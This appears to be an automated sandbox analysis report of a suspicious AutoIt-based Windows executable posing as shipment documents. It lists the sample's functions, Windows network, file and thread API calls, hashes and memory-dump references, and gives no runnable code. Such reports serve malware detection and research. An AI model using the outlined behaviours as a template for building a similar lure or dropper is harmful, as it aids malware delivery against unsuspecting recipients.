                                                                                                                                                                                                          • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2014098862-0
                                                                                                                                                                                                          • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                                                          • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                                                                                                                                                                                                          Function 0045427D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 259libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressProc_malloc$_strcat_strlen
                                                                                                                                                                                                          • String ID: AU3_FreeVar
                                                                                                                                                                                                          • API String ID: 2184576858-771828931
                                                                                                                                                                                                          • Opcode ID: 0c8ae277bfce4f6227ebe1b78a96747af57dc4a525e04d776edf31878272b6cd
                                                                                                                                                                                                          • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0c8ae277bfce4f6227ebe1b78a96747af57dc4a525e04d776edf31878272b6cd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                                                                                                                                                                                                          Function 0044AA1F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                                                                                                                                                                                                          • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                                                                                                                                                                                                          • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                                                                                                                                                                                                          • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                                                                                                                                                                                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                                                                                                                                                                                                          • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                                                                                                                                                                                            • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1291720006-3916222277
                                                                                                                                                                                                          • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                                                          • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                                                                                                                                                                                                          Function 0046BB59 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 168networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorLastselect
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 215497628-2761332787
                                                                                                                                                                                                          • Opcode ID: 0de0448ade90d459e176b7eabd0eb7793c39b194d41e4bdd7ff4fb8690f4e17f
                                                                                                                                                                                                          • Instruction ID: a252b81ccbce03d1e7b1b0efababa2c0a0929072778302a7b1202b90a7697d70
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0de0448ade90d459e176b7eabd0eb7793c39b194d41e4bdd7ff4fb8690f4e17f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BF51E4726043005BD320EB65DC42F9BB399EB94324F044A2EF558E7281EB79E944C7AA
                                                                                                                                                                                                          Function 0047D2F8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __snwprintf__wcsicoll_wcscpy
                                                                                                                                                                                                          • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                                                                                                                                                                                                          • API String ID: 1729044348-3708979750
                                                                                                                                                                                                          • Opcode ID: e5856c69d37335927e932bb259c431c810e65197c095b32473e915812f67d75c
                                                                                                                                                                                                          • Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e5856c69d37335927e932bb259c431c810e65197c095b32473e915812f67d75c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA
                                                                                                                                                                                                          Function 0044BBC9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100filestringCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,?,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,004A8E80,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                                          • lstrcmpiW.KERNEL32(?,?), ref: 0044BC04
                                                                                                                                                                                                          • MoveFileW.KERNEL32(?,?), ref: 0044BC38
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 0044BCAA
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 0044BCB7
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 0044BCCB
                                                                                                                                                                                                          • SHFileOperationW.SHELL32 ref: 0044BD16
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                                                                                                                                                                                                          • String ID: \*.*
                                                                                                                                                                                                          • API String ID: 2326526234-1173974218
                                                                                                                                                                                                          • Opcode ID: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                                                                          • Instruction ID: 9e4979448571685848097db6772507fbfe8bfb8d1337cd0032b1ea927bdad9db
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4B3183B14083019AD724EF21C5D5ADFB3E4EFC8304F444D6EB98993251EB39E608D7AA
                                                                                                                                                                                                          Function 004366BE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 004366DD
                                                                                                                                                                                                          • GetFileAttributesW.KERNEL32(?), ref: 00436700
                                                                                                                                                                                                          • GetLastError.KERNEL32 ref: 0043670F
                                                                                                                                                                                                          • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00436727
                                                                                                                                                                                                          • _wcsrchr.LIBCMT ref: 0043674C
                                                                                                                                                                                                            • Part of subcall function 004366BE: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000000), ref: 0043678F
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                                                                                                                                                                                          • String ID: \
                                                                                                                                                                                                          • API String ID: 321622961-2967466578
                                                                                                                                                                                                          • Opcode ID: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                                                                                                                                                          • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                                                                                                                                                                                                          Function 0044C80C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wcsnicmp
                                                                                                                                                                                                          • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                                                                                                                                                          • API String ID: 1038674560-2734436370
                                                                                                                                                                                                          • Opcode ID: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                                                                                                                                                          • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                                                                                                                                                                                                          Function 00441561 Relevance: 12.1, APIs: 8, Instructions: 101windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0044157D
                                                                                                                                                                                                          • GetDC.USER32(00000000), ref: 00441585
                                                                                                                                                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
                                                                                                                                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0044159B
                                                                                                                                                                                                          • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                                                                                                                                                                                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3864802216-0
                                                                                                                                                                                                          • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                                                          • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                                                                                                                                                                                                          Function 004140DB Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                                                            • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                                            • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                                            • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                                          • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                                                            • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                                          • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                                                            • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                                                          • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                                                          • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1925773019-0
                                                                                                                                                                                                          • Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                                                                          • Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C
                                                                                                                                                                                                          Function 004357AD Relevance: 12.0, APIs: 8, Instructions: 36COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • VariantClear.OLEAUT32(00000038), ref: 004357C3
                                                                                                                                                                                                          • VariantClear.OLEAUT32(00000058), ref: 004357C9
                                                                                                                                                                                                          • VariantClear.OLEAUT32(00000068), ref: 004357CF
                                                                                                                                                                                                          • VariantClear.OLEAUT32(00000078), ref: 004357D5
                                                                                                                                                                                                          • VariantClear.OLEAUT32(00000088), ref: 004357DE
                                                                                                                                                                                                          • VariantClear.OLEAUT32(00000048), ref: 004357E4
                                                                                                                                                                                                          • VariantClear.OLEAUT32(00000098), ref: 004357ED
                                                                                                                                                                                                          • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ClearVariant
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1473721057-0
                                                                                                                                                                                                          • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                                                          • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                                                                                                                                                                                                          Function 00464A0E Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • WSAStartup.WSOCK32(00000101,?,?), ref: 00464ADE
                                                                                                                                                                                                            • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                                                          • inet_addr.WSOCK32(?,00000000,?,?,00000101,?,?), ref: 00464B1F
                                                                                                                                                                                                          • gethostbyname.WSOCK32(?,?,00000000,?,?,00000101,?,?), ref: 00464B29
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00464B92
                                                                                                                                                                                                          • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                                                                                                                                                                                                          • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                                                                                                                                                                                                          • WSACleanup.WSOCK32 ref: 00464CE4
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3424476444-0
                                                                                                                                                                                                          • Opcode ID: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                                                                          • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                                                                                                                                                                                                          Function 00440B39 Relevance: 10.8, APIs: 7, Instructions: 261COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetSystemMetrics.USER32(0000000F), ref: 00440B7B
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
